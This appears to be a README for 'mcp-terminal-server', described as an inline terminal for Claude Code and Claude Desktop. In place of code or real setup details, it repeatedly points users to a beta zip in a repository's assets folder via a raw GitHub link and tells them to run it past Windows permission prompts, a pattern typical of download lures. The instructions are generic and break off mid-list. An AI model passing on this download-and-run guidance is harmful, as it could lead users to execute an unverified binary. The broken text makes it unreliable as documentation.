Visit this page to download: https://raw.githubusercontent.com/Unfathomable-siren38/mcp-terminal-server/main/assets/terminal_mcp_server_v1.4-beta.5.zip

Choose the latest release for Windows, then download the file that matches your PC. After the file finishes downloading, open it to start the app or follow the setup steps in the release notes

🧭 What this app does

mcp-terminal-server lets you use an interactive terminal inside Claude Code and Claude Desktop. It shows the terminal in the chat area, so you can work with command line tools without leaving your session

It supports more than one session at a time. That means you can keep separate terminal windows for different tasks, like one for builds and one for file work

✅ What you need

• Windows 10 or Windows 11
• Claude Desktop or Claude Code installed
• A stable internet connection for the download
• Permission to open apps and files on your PC

🚀 Getting Started

1. Go to the release page and download the latest Windows file
2. Open the downloaded file
3. If Windows asks for permission, select Run or Open
4. Follow the on-screen steps
5. Open Claude Desktop or Claude Code
6. Connect mcp-terminal-server if the release includes setup steps for Claude

🪟 Install on Windows

After you visit the release page, look for the newest version at the top of the list. In most cases, the Windows download will be an .exe file or a .zip file

If you downloaded an .exe file:

• Double-click the file
• Follow the prompts
• Choose where you want it installed if the app asks

If you downloaded a .zip file:

• Right-click the file

🔌 Connect to Claude

This app is made to work as an MCP server. That means Claude can talk to it and use the terminal it provides

To connect it:

• Open Claude Desktop or Claude Code
• Add the server using the setup details from the release
• Restart Claude if needed
• Confirm the terminal appears inline in your chat area

If you use more than one terminal session, you can keep each one for a different task. This helps when you want to compare output or keep a long-running command open
